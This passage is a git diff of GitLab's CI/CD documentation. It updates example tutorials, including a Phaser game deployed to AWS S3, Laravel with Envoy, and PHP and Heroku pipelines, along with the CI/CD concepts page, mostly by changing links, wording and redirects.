built/ - -test: - stage: test - script: - - npm i gulp -g - - npm i - - gulp run-test - cache: - policy: pull - paths: - - node_modules/ - artifacts: - paths: - - built/ -``` - -### Run your CI/CD pipeline - -That's it! Add all your new files, commit, and push. For a reference of what our repository should -look like at this point, please refer to the [final commit related to this article on my sample repository](https://gitlab.com/blitzgren/gitlab-game-demo/commit/8b36ef0ecebcf569aeb251be4ee13743337fcfe2). -By applying both build and test stages, GitLab will run them sequentially at every push to -our repository. If all goes well you'll end up with a green check mark on each job for the pipeline: - - - -You can confirm that the tests passed by clicking on the `test` job to enter the full build logs. -Scroll to the bottom and observe, in all its passing glory: - -```shell -$ gulp run-test -[18:37:24] Using gulpfile /builds/blitzgren/gitlab-game-demo/gulpfile.js -[18:37:24] Starting 'run-test'... -[18:37:24] Finished 'run-test' after 21 ms - - - Weapon - ✓ should shoot if not in cooldown - ✓ should not shoot during cooldown - ✓ should shoot after cooldown ends - ✓ should not shoot if not triggered - - - 4 passing (18ms) - -Uploading artifacts... -built/: found 17 matching files -Uploading artifacts to coordinator... ok id=17095874 responseStatus=201 Created token=aaaaaaaa Job succeeded -``` - -## Continuous Deployment - -We have our codebase built and tested on every push. To complete the full pipeline with Continuous Deployment, -let's set up [free web hosting with AWS S3](https://aws.amazon.com/free/) and a job through which our build artifacts get -deployed. GitLab also has a free static site hosting service we can use, [GitLab Pages](https://about.gitlab.com/stages-devops-lifecycle/pages/), -however Dark Nova specifically uses other AWS tools that necessitates using `AWS S3`. -Read through this article that describes [deploying to both S3 and GitLab Pages](https://about.gitlab.com/blog/2016/08/26/ci-deployment-and-environments/) -and further delves into the principles of GitLab CI/CD than discussed in this article. - -### Set up S3 Bucket - -1. Log into your AWS account and go to [S3](https://console.aws.amazon.com/s3/home) -1. Click the **Create Bucket** link at the top -1. Enter a name of your choosing and click next -1. Keep the default **Properties** and click next -1. Click the **Manage group permissions** and allow **Read** for the **Everyone** group, click next -1. Create the bucket, and select it in your S3 bucket list -1. On the right side, click **Properties** and enable the **Static website hosting** category -1. Update the radio button to the **Use this bucket to host a website** selection. Fill in `index.html` and `error.html` respectively - -### Set up AWS Secrets - -We need to be able to deploy to AWS with our AWS account credentials, but we certainly -don't want to put secrets into source code. Luckily GitLab provides a solution for this -with [Variables](../../../ci/variables/README.md). This can get complicated -due to [IAM](https://aws.amazon.com/iam/) management. As a best practice, you shouldn't -use root security credentials. Proper IAM credential management is beyond the scope of this -article, but AWS will remind you that using root credentials is unadvised and against their -best practices, as they should. Feel free to follow best practices and use a custom IAM user's -credentials, which will be the same two credentials (Key ID and Secret). It's a good idea to -fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html). We need to add these credentials to GitLab: - -1. Log into your AWS account and go to the [Security Credentials page](https://console.aws.amazon.com/iam/home#/security_credential) -1. Click the **Access Keys** section and **Create New Access Key**. Create the key and keep the ID and secret around, you'll need them later - -  - -1. Go to your GitLab project, click **Settings > CI/CD** on the left sidebar -1. Expand the **Variables** section - -  - -1. Add a key named `AWS_KEY_ID` and copy the key ID from Step 2 into the **Value** field -1. Add a key named `AWS_KEY_SECRET` and copy the key secret from Step 2 into the **Value** field - -### Deploy your game with GitLab CI/CD - -To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on -the shared runner. The shared runner also needs to be able to authenticate with your AWS -account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID` -and `AWS_SECRET_ACCESS_KEY`. GitLab CI/CD gives us a way to pass the variables we -set up in the prior section using the `variables` portion of the `deploy` job. At the end, -we add directives to ensure deployment `only` happens on pushes to `master`. This way, every -single branch still runs through CI, and only merging (or committing directly) to master will -trigger the `deploy` job of our pipeline. Put these together to get the following: - -```yaml -deploy: - stage: deploy - variables: - AWS_ACCESS_KEY_ID: "$AWS_KEY_ID" - AWS_SECRET_ACCESS_KEY: "$AWS_KEY_SECRET" - script: - - apt-get update - - apt-get install -y python3-dev python3-pip - - easy_install3 -U pip - - pip3 install --upgrade awscli - - aws s3 sync ./built s3://gitlab-game-demo --region "us-east-1" --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers --cache-control "no-cache, no-store, must-revalidate" --delete - only: - - master -``` - -Be sure to update the region and S3 URL in that last script command to fit your setup. -Our final configuration file `.gitlab-ci.yml` looks like: - -```yaml -image: node:10 - -build: - stage: build - script: - - npm i gulp -g - - npm i - - gulp - - gulp build-test - cache: - policy: push - paths: - - node_modules/ - artifacts: - paths: - - built/ - -test: - stage: test - script: - - npm i gulp -g - - gulp run-test - cache: - policy: pull - paths: - - node_modules/ - artifacts: - paths: - - built/ - -deploy: - stage: deploy - variables: - AWS_ACCESS_KEY_ID: "$AWS_KEY_ID" - AWS_SECRET_ACCESS_KEY: "$AWS_KEY_SECRET" - script: - - apt-get update - - apt-get install -y python3-dev python3-pip - - easy_install3 -U pip - - pip3 install --upgrade awscli - - aws s3 sync ./built s3://gitlab-game-demo --region "us-east-1" --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers --cache-control "no-cache, no-store, must-revalidate" --delete - only: - - master -``` - -## Conclusion - -Within the [demo repository](https://gitlab.com/blitzgren/gitlab-game-demo) you can also find a handful of boilerplate code to get -[TypeScript](https://www.typescriptlang.org/), [Mocha](https://mochajs.org/), [Gulp](https://gulpjs.com/) and [Phaser](https://phaser.io) all playing -together nicely with GitLab CI/CD, which is the result of lessons learned while making [Dark Nova](https://www.darknova.io). -Using a combination of free and open source software, we have a full CI/CD pipeline, a game foundation, -and unit tests, all running and deployed at every push to master - with shockingly little code. -Errors can be easily debugged through GitLab build logs, and within minutes of a successful commit, -you can see the changes live on your game. - -Setting up Continuous Integration and Continuous Deployment from the start with Dark Nova enables -rapid but stable development. We can easily test changes in a separate [environment](../../environments/index.md), -or multiple environments if needed. Balancing and updating a multiplayer game can be ongoing -and tedious, but having faith in a stable deployment with GitLab CI/CD allows -a lot of breathing room in quickly getting changes to players. - -## Further settings - -Here are some ideas to further investigate that can speed up or improve your pipeline: - -- [Yarn](https://yarnpkg.com) instead of npm -- Set up a custom [Docker](../../../ci/docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml) image that can pre-load dependencies and tools (like AWS CLI) -- Forward a [custom domain](https://docs.aws.amazon.com/AmazonS3/latest/dev/website-hosting-custom-domain-walkthrough.html) to your game's S3 static website -- Combine jobs if you find it unnecessary for a small project -- Avoid the queues and set up your own [custom GitLab CI/CD runner](https://about.gitlab.com/blog/2016/03/01/gitlab-runner-with-docker/) +<!-- This redirect file can be deleted after 2021-04-19. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 4521c2ed52e..e20e86e8936 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -191,7 +191,7 @@ option as an argument to `npm run confidence-check` on the command line. However, we still need to tell WebdriverIO which browser is available for it to use. [GitLab CI/CD makes -a number of variables available](../../variables/README.md#predefined-environment-variables) +a number of variables available](../../variables/README.md#predefined-cicd-variables) with information about the current CI job. We can use this information to dynamically set up our WebdriverIO configuration according to the job that is running. More specifically, we can tell WebdriverIO what browser to execute the test on depending on the name of the currently running diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index c6ddeefb916..a02a5347734 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -69,7 +69,7 @@ This test will be used later for continuously testing our app with GitLab CI/CD. ### Push to GitLab Since we have our app up and running locally, it's time to push the codebase to our remote repository. -Let's create [a new project](../../../gitlab-basics/create-project.md) in GitLab named `laravel-sample`. +Let's create [a new project](../../../user/project/working_with_projects.md#create-a-project) in GitLab named `laravel-sample`. After that, follow the command line instructions displayed on the project's homepage to initiate the repository on our machine and push the first commit. ```shell @@ -119,8 +119,8 @@ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys cat ~/.ssh/id_rsa ``` -Now, let's add it to your GitLab project as a [variable](../../variables/README.md#gitlab-cicd-environment-variables). -Variables are user-defined variables and are stored out of `.gitlab-ci.yml`, for security purposes. +Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/README.md). +Project CI/CD variables are user-defined variables and are stored out of `.gitlab-ci.yml`, for security purposes. They can be added per project by navigating to the project's **Settings** > **CI/CD**. To the field **KEY**, add the name `SSH_PRIVATE_KEY`, and to the **VALUE** field, paste the private key you've copied earlier. @@ -544,11 +544,11 @@ services: ... ``` -If you wish to test your app with different PHP versions and [database management systems](../../services/README.md), you can define different `image` and `services` keywords for each test job. +If you wish to test your app with different PHP versions and [database management systems](../../services/index.md), you can define different `image` and `services` keywords for each test job. -#### Variables +#### CI/CD variables -GitLab CI/CD allows us to use [environment variables](../../yaml/README.md#variables) in our jobs. +GitLab CI/CD allows us to use [CI/CD variables](../../yaml/README.md#variables) in our jobs. We defined MySQL as our database management system, which comes with a superuser root created by default. So we should adjust the configuration of MySQL instance by defining `MYSQL_DATABASE` variable as our database name and `MYSQL_ROOT_PASSWORD` variable as the password of `root`. @@ -567,7 +567,7 @@ variables: #### Unit Test as the first job -We defined the required shell scripts as an array of the [script](../../yaml/README.md#script) variable to be executed when running `unit_test` job. +We defined the required shell scripts as an array of the [script](../../yaml/README.md#script) keyword to be executed when running `unit_test` job. These scripts are some Artisan commands to prepare the Laravel, and, at the end of the script, we'll run the tests by `PHPUnit`. @@ -589,7 +589,7 @@ unit_test: #### Deploy to production The job `deploy_production` will deploy the app to the production server. -To deploy our app with Envoy, we had to set up the `$SSH_PRIVATE_KEY` variable as an [SSH private key](../../ssh_keys/README.md#ssh-keys-when-using-the-docker-executor). +To deploy our app with Envoy, we had to set up the `$SSH_PRIVATE_KEY` variable as an [SSH private key](../../ssh_keys/index.md#ssh-keys-when-using-the-docker-executor). If the SSH keys have added successfully, we can run Envoy. As mentioned before, GitLab supports [Continuous Delivery](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) methods as well. diff --git a/doc/ci/examples/license_management.md b/doc/ci/examples/license_management.md deleted file mode 100644 index 46be93c9676..00000000000 --- a/doc/ci/examples/license_management.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/compliance/license_compliance/index.md' ---- - -This document was moved to [another location](../../user/compliance/license_compliance/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 31f0cc76023..53014585f2e 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -66,8 +66,7 @@ docker-php-ext-install pdo_mysql You might wonder what `docker-php-ext-install` is. In short, it is a script provided by the official PHP Docker image that you can use to easily install -extensions. For more information read the documentation at -<https://hub.docker.com/_/php>. +extensions. For more information read [the documentation](https://hub.docker.com/_/php). Now that we created the script that contains all prerequisites for our build environment, let's add it in `.gitlab-ci.yml`: @@ -179,8 +178,8 @@ phpenv config-add my_config.ini *__Important note:__ It seems `phpenv/phpenv` [is abandoned](https://github.com/phpenv/phpenv/issues/57). There is a fork - at [madumlao/phpenv](https://github.com/madumlao/phpenv) that tries to bring - the project back to life. [CHH/phpenv](https://github.com/CHH/phpenv) also + at [`madumlao/phpenv`](https://github.com/madumlao/phpenv) that tries to bring + the project back to life. [`CHH/phpenv`](https://github.com/CHH/phpenv) also seems like a good alternative. Picking any of the mentioned tools works with the basic phpenv commands. Guiding you to choose the right phpenv is out of the scope of this tutorial.* @@ -201,10 +200,10 @@ command once, only to set up the build environment. ## Extend your tests -### Using atoum +### Using `atoum` Instead of PHPUnit, you can use any other tool to run unit tests. For example -you can use [atoum](https://github.com/atoum/atoum): +you can use [`atoum`](https://github.com/atoum/atoum): ```yaml before_script: @@ -242,7 +241,7 @@ before_script: ## Access private packages or dependencies If your test suite needs to access a private repository, you need to configure -the [SSH keys](../ssh_keys/README.md) to be able to clone it. +the [SSH keys](../ssh_keys/index.md) to be able to clone it. ## Use databases or other services @@ -251,7 +250,7 @@ run. If you're using the Docker executor, you can leverage Docker's ability to link to other containers. With GitLab Runner, this can be achieved by defining a `service`. -This functionality is covered in [the CI services](../services/README.md) +This functionality is covered in [the CI services](../services/index.md) documentation. ## Testing things locally diff --git a/doc/ci/examples/sast.md b/doc/ci/examples/sast.md deleted file mode 100644 index ebb3c1f66c1..00000000000 --- a/doc/ci/examples/sast.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/application_security/sast/index.md' ---- - -This document was moved to [another location](../../user/application_security/sast/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/sast_docker.md b/doc/ci/examples/sast_docker.md deleted file mode 100644 index eecf939d959..00000000000 --- a/doc/ci/examples/sast_docker.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/application_security/container_scanning/index.md' ---- - -This document was moved to [another location](../../user/application_security/container_scanning/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md index 037faaf66a2..c0fc93fe1b3 100644 --- a/doc/ci/examples/semantic-release.md +++ b/doc/ci/examples/semantic-release.md @@ -4,9 +4,9 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Publish NPM packages to the GitLab Package Registry using semantic-release +# Publish npm packages to the GitLab Package Registry using semantic-release -This guide demonstrates how to automatically publish NPM packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release). +This guide demonstrates how to automatically publish npm packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release). You can also view or fork the complete [example source](https://gitlab.com/gitlab-examples/semantic-release-npm). @@ -15,7 +15,7 @@ You can also view or fork the complete [example source](https://gitlab.com/gitla 1. Open a terminal and navigate to the project's repository 1. Run `npm init`. Name the module according to [the Package Registry's naming conventions](../../user/packages/npm_registry/index.md#package-naming-convention). For example, if the project's path is `gitlab-examples/semantic-release-npm`, name the module `@gitlab-examples/semantic-release-npm`. -1. Install the following NPM packages: +1. Install the following npm packages: ```shell npm install semantic-release @semantic-release/git @semantic-release/gitlab @semantic-release/npm --save-dev @@ -35,7 +35,7 @@ You can also view or fork the complete [example source](https://gitlab.com/gitla } ``` -1. Update the `files` key with glob pattern(s) that selects all files that should be included in the published module. More information about `files` can be found [in NPM's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json/#files). +1. Update the `files` key with glob pattern(s) that selects all files that should be included in the published module. More information about `files` can be found [in npm's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json/#files). 1. Add a `.gitignore` file to the project to avoid committing `node_modules`: @@ -80,13 +80,13 @@ publish: - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` -This example configures the pipeline with a single job, `publish`, which runs `semantic-release`. The semantic-release library publishes new versions of the NPM package and creates new GitLab releases (if necessary). +This example configures the pipeline with a single job, `publish`, which runs `semantic-release`. The semantic-release library publishes new versions of the npm package and creates new GitLab releases (if necessary). The default `before_script` generates a temporary `.npmrc` that is used to authenticate to the Package Registry during the `publish` job. -## Set up environment variables +## Set up CI/CD variables -As part of publishing a package, semantic-release increases the version number in `package.json`. For semantic-release to commit this change and push it back to GitLab, the pipeline requires a custom environment variable named `GITLAB_TOKEN`. To create this variable: +As part of publishing a package, semantic-release increases the version number in `package.json`. For semantic-release to commit this change and push it back to GitLab, the pipeline requires a custom CI/CD variable named `GITLAB_TOKEN`. To create this variable: 1. Navigate to **Project > Settings > Access Tokens**. 1. Give the token a name, and select the `api` scope. diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index 87291f4e8b8..28d00362309 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -59,7 +59,7 @@ This project has three jobs: ## Store API keys -You'll need to create two variables in **Settings > CI/CD > Environment variables** in your GitLab project: +You'll need to create two variables in **Settings > CI/CD > Variables** in your GitLab project: - `HEROKU_STAGING_API_KEY` - Heroku API key used to deploy staging app. - `HEROKU_PRODUCTION_API_KEY` - Heroku API key used to deploy production app. diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index 1204a1ae837..5bf0b3d01be 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -50,7 +50,7 @@ This project has three jobs: ## Store API keys -You'll need to create two variables in your project's **Settings > CI/CD > Environment variables** and do not check **Protect variable** and **Mask variable**: +You'll need to create two CI/CD variables in your project's **Settings > CI/CD > Variables** and do not check **Protect variable** or **Mask variable**: - `HEROKU_STAGING_API_KEY` - Heroku API key used to deploy staging app. - `HEROKU_PRODUCTION_API_KEY` - Heroku API key used to deploy production app. diff --git a/doc/ci/examples/test-phoenix-application.md b/doc/ci/examples/test-phoenix-application.md deleted file mode 100644 index 52db5740c34..00000000000 --- a/doc/ci/examples/test-phoenix-application.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: '../../ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md' ---- - -The content of this page was incorporated in [this document](../../ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md). diff --git a/doc/ci/examples/test-scala-application.md b/doc/ci/examples/test-scala-application.md index 5c499d6a855..057b950289d 100644 --- a/doc/ci/examples/test-scala-application.md +++ b/doc/ci/examples/test-scala-application.md @@ -1,81 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: tutorial +redirect_to: 'README.md#contributed-examples' --- -# Test and deploy a Scala application to Heroku +This document was moved to [another location](README.md#contributed-examples). -This example demonstrates the integration of GitLab CI/CD with Scala -applications using SBT. You can view or fork the [example project](https://gitlab.com/gitlab-examples/scala-sbt) -and view the logs of its past [CI jobs](https://gitlab.com/gitlab-examples/scala-sbt/-/jobs?scope=finished). - -## Add `.gitlab-ci.yml` file to project - -The following `.gitlab-ci.yml` should be added in the root of your -repository to trigger CI: - -``` yaml -image: openjdk:8 - -stages: - - test - - deploy - -before_script: - - apt-get update -y - - apt-get install apt-transport-https -y - ## Install SBT - - echo "deb http://dl.bintray.com/sbt/debian /" | tee -a /etc/apt/sources.list.d/sbt.list - - apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 642AC823 - - apt-get update -y - - apt-get install sbt -y - - sbt sbtVersion - -test: - stage: test - script: - - sbt clean coverage test coverageReport - -deploy: - stage: deploy - script: - - apt-get update -yq - - apt-get install rubygems ruby-dev -y - - gem install dpl - - dpl --provider=heroku --app=gitlab-play-sample-app --api-key=$HEROKU_API_KEY -``` - -In the above configuration: - -- The `before_script` installs [SBT](https://www.scala-sbt.org/) and - displays the version that is being used. -- The `test` stage executes SBT to compile and test the project. - - [sbt-scoverage](https://github.com/scoverage/sbt-scoverage) is used as an SBT - plugin to measure test coverage. -- The `deploy` stage automatically deploys the project to Heroku using dpl. - -You can use other versions of Scala and SBT by defining them in -`build.sbt`. - -## Display test coverage in job - -Add the `Coverage was \[\d+.\d+\%\]` regular expression in the -**Settings > Pipelines > Coverage report** project setting to -retrieve the [test coverage](../pipelines/settings.md#test-coverage-report-badge) -rate from the build trace and have it displayed with your jobs. - -**Pipelines** must be enabled for this option to appear. - -## Heroku application - -A Heroku application is required. You can create one through the -[Dashboard](https://dashboard.heroku.com/). Substitute `gitlab-play-sample-app` -in the `.gitlab-ci.yml` file with your application's name. - -## Heroku API key - -You can look up your Heroku API key in your -[account](https://dashboard.heroku.com/account). Add a [protected variable](../variables/README.md#protect-a-custom-variable) with -this value in **Project ➔ Variables** with key `HEROKU_API_KEY`. +<!-- This redirect file can be deleted after 2021-04-18. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index fb42ed64e78..d9a40c1feb6 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -13,7 +13,7 @@ type: reference > are encouraged to upgrade your GitLab instance if you haven't done already. > If you are **not** using GitLab 8.12 or higher, you would need to work your way > around submodules in order to access the sources of e.g., `gitlab.com/group/project` -> with the use of [SSH keys](ssh_keys/README.md). +> with the use of [SSH keys](ssh_keys/index.md). > - With GitLab 8.12 onward, your permissions are used to evaluate what a CI job > can access. More information about how this system works can be found in the > [Jobs permissions model](../user/permissions.md#job-permissions). diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index c04bcd6f549..307dcdf258c 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -6,162 +6,114 @@ description: "An overview of Continuous Integration, Continuous Delivery, and Co type: concepts --- -# Introduction to CI/CD with GitLab +# CI/CD concepts **(FREE)** -This document presents an overview of the concepts of Continuous Integration, -Continuous Delivery, and Continuous Deployment, as well as an introduction to -GitLab CI/CD. +With the continuous method of software development, you continuously build, +test, and deploy iterative code changes. This iterative process helps reduce +the chance that you develop new code based on buggy or failed previous versions. +With this method, you strive to have less human intervention or even no intervention at all, +from the development of new code until its deployment. + +The three primary approaches for the continuous method are: + +- [Continuous Integration](#continuous-integration) +- [Continuous Delivery](#continuous-delivery) +- [Continuous Deployment](#continuous-deployment) NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) -webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. +webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development. -> For some additional information about GitLab CI/CD: -> -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the [CI/CD Ease of configuration](https://www.youtube.com/embed/opdLqwz6tcE) video. -> - Watch the [Making the case for CI/CD in your organization](https://about.gitlab.com/compare/github-actions-alternative/) -> webcast to learn the benefits of CI/CD and how to measure the results of CI/CD automation. +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE). +> - [Make the case for CI/CD in your organization](https://about.gitlab.com/compare/github-actions-alternative/). > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) > from 30 days to under 8 hours with GitLab. -## Introduction to CI/CD methodologies - -The continuous methodologies of software development are based on -automating the execution of scripts to minimize the chance of -introducing errors while developing applications. They require -less human intervention or even no intervention at all, from the -development of new code until its deployment. - -It involves continuously building, testing, and deploying code -changes at every small iteration, reducing the chance of developing -new code based on bugged or failed previous versions. - -There are three main approaches to this methodology, each of them -to be applied according to what best suits your strategy. - -### Continuous Integration +## Continuous Integration Consider an application that has its code stored in a Git repository in GitLab. Developers push code changes every day, multiple times a day. For every push to the repository, you can create a set of scripts to build and test your application -automatically, decreasing the chance of introducing errors to your app. +automatically. These scripts help decrease the chances that you introduce errors in your application. -This practice is known as [Continuous Integration](https://en.wikipedia.org/wiki/Continuous_integration); -for every change submitted to an application - even to development branches - -it's built and tested automatically and continuously, ensuring the -introduced changes pass all tests, guidelines, and code compliance -standards you established for your app. +This practice is known as [Continuous Integration](https://en.wikipedia.org/wiki/Continuous_integration). +Each change submitted to an application, even to development branches, +is built and tested automatically and continuously. These tests ensure the +changes pass all tests, guidelines, and code compliance +standards you established for your application. -[GitLab itself](https://gitlab.com/gitlab-org/gitlab-foss) is an -example of using Continuous Integration as a software -development method. For every push to the project, there's a set -of scripts the code is checked against. +[GitLab itself](https://gitlab.com/gitlab-org/gitlab) is an +example of a project that uses Continuous Integration as a software +development method. For every push to the project, a set +of checks run against the code. -### Continuous Delivery +## Continuous Delivery [Continuous Delivery](https://continuousdelivery.com/) is a step -beyond Continuous Integration. Your application is not only -built and tested at every code change pushed to the codebase, -but, as an additional step, it's also deployed continuously, though -the deployments are triggered manually. +beyond Continuous Integration. Not only is your application +built and tested each time a code change is pushed to the codebase, +the application is also deployed continuously. However, with continuous +delivery, you trigger the deployments manually. -This method ensures the code is checked automatically but requires +Continuous Delivery checks the code automatically, but it requires human intervention to manually and strategically trigger the deployment of the changes. -### Continuous Deployment +## Continuous Deployment [Continuous Deployment](https://www.airpair.com/continuous-deployment/posts/continuous-deployment-for-practical-people) -is also a further step beyond Continuous Integration, similar to +is another step beyond Continuous Integration, similar to Continuous Delivery. The difference is that instead of deploying your -application manually, you set it to be deployed automatically. It does -not require human intervention at all to have your application -deployed. +application manually, you set it to be deployed automatically. +Human intervention is not required. -## Introduction to GitLab CI/CD +## GitLab CI/CD -GitLab CI/CD is a powerful tool built into GitLab that allows you -to apply all the continuous methods (Continuous Integration, -Delivery, and Deployment) to your software with no third-party -application or integration needed. +[GitLab CI/CD](../quick_start/index.md) is the part of GitLab that you use +for all of the continuous methods (Continuous Integration, +Delivery, and Deployment). With GitLab CI/CD, you can test, build, +and publish your software with no third-party application or integration needed. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see [Introduction to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=397) from a recent GitLab meetup. +For an overview, see [Introduction to GitLab CI/CD](https://www.youtube.com/watch?v=l5705U8s_nQ&t=397) from an April 2020 GitLab meetup. -### Basic CI/CD workflow +### GitLab CI/CD workflow -Consider the following example for how GitLab CI/CD fits in a -common development workflow. +GitLab CI/CD fits in a common development workflow. -Assume that you have discussed a code implementation in an issue -and worked locally on your proposed changes. After you push your -commits to a feature branch in a remote repository in GitLab, -the CI/CD pipeline set for your project is triggered. By doing -so, GitLab CI/CD: +You can start by discussing a code implementation in an issue +and working locally on your proposed changes. Then you can push your +commits to a feature branch in a remote repository that's hosted in GitLab. +The push triggers the CI/CD pipeline for your project. Then, GitLab CI/CD: - Runs automated scripts (sequentially or in parallel) to: - - Build and test your app. - - Preview the changes per merge request with Review Apps, as you - would see in your `localhost`. + - Build and test your application. + - Preview the changes in a Review App, the same as you + would see on your `localhost`. -After you're happy with your implementation: +After the implementation works as expected: - Get your code reviewed and approved. - Merge the feature branch into the default branch. - GitLab CI/CD deploys your changes automatically to a production environment. -- And finally, you and your team can easily roll it back if something goes wrong. + +If something goes wrong, you can roll back your changes.  -GitLab CI/CD is capable of doing a lot more, but this workflow -exemplifies the ability of GitLab to track the entire process, -without the need for an external tool to deliver your software. -And, most usefully, you can visualize all the steps through -the GitLab UI. +This workflow shows the major steps in the GitLab process. +You don't need any external tools to deliver your software and +you can visualize all the steps in the GitLab UI. -#### A deeper look into the CI/CD basic workflow +### A deeper look into the CI/CD workflow -If we take a deeper look into the basic workflow, we can see +If you look deeper into the workflow, you can see the features available in GitLab at each stage of the DevOps -lifecycle, as shown in the illustration below. +lifecycle.  -If you look at the image from the left to the right, -you can see some of the features available in GitLab -according to each stage (Verify, Package, Release). - -1. **Verify**: - - Automatically build and test your application with Continuous Integration. - - Analyze your source code quality with [GitLab Code Quality](../../user/project/merge_requests/code_quality.md). - - Determine the browser performance impact of code changes with [Browser Performance Testing](../../user/project/merge_requests/browser_performance_testing.md). **(PREMIUM)** - - Determine the server performance impact of code changes with [Load Performance Testing](../../user/project/merge_requests/load_performance_testing.md). **(PREMIUM)** - - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md). - - Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch. -1. **Package**: - - Store Docker images with the [Container Registry](../../user/packages/container_registry/index.md). - - Store packages with the [Package Registry](../../user/packages/package_registry/index.md). -1. **Release**: - - Continuous Deployment, automatically deploying your app to production. - - Continuous Delivery, manually click to deploy your app to production. - - Deploy static websites with [GitLab Pages](../../user/project/pages/index.md). - - Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature with [Canary Deployments](../../user/project/canary_deployments.md). - - Deploy your features behind [Feature Flags](../../operations/feature_flags.md). - - Add release notes to any Git tag with [GitLab Releases](../../user/project/releases/index.md). - - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md). - - Deploy your application to a production environment in a Kubernetes cluster with [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy). - -With GitLab CI/CD you can also: - -- Easily set up your app's entire lifecycle with [Auto DevOps](../../topics/autodevops/index.md). -- Deploy your app to different [environments](../environments/index.md). -- Install your own [GitLab Runner](https://docs.gitlab.com/runner/). -- [Schedule pipelines](../pipelines/schedules.md). -- Check for app vulnerabilities with [Security Test reports](../../user/application_security/index.md). **(ULTIMATE)** - -To see all CI/CD features, navigate back to the [CI/CD index](../README.md). - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -Watch the video 